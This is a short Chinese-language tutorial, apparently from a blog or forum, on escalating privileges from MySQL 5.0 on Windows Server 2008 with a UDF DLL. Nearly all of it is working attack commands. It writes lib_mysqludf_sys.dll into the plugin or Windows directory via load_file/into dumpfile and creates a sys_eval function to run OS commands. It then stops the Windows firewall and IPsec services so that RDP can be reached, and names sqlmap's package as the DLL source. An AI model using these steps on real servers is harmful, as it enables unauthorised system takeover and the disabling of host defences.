windows 2008 怎么利用mysql（5.0）提权？udf.dll提权

上传dll文件到任意目录，如：

D:/RECYCLER/lib_mysqludf_sys.dll

导入dll,根据版本导入到windows或mysql 插件目录(通常执行select @@plugin_dir 可看到插件目录具体路径)：
select load_file(‘D:/RECYCLER/lib_mysqludf_sys.dll’) into dumpfile’c:/windows/lib_mysqludf_sys.dll’

(高版本须要导入上面查询到的插件目录)

建立function：
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;

执行命令：
select sys_eval(‘whoami’);

通常状况下不会出现建立不成功哦。

连不上3389能够先中止windows防火墙和筛选

select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);

UDF.DLL下载：

sqlmap lib_mysqludf_sys.zip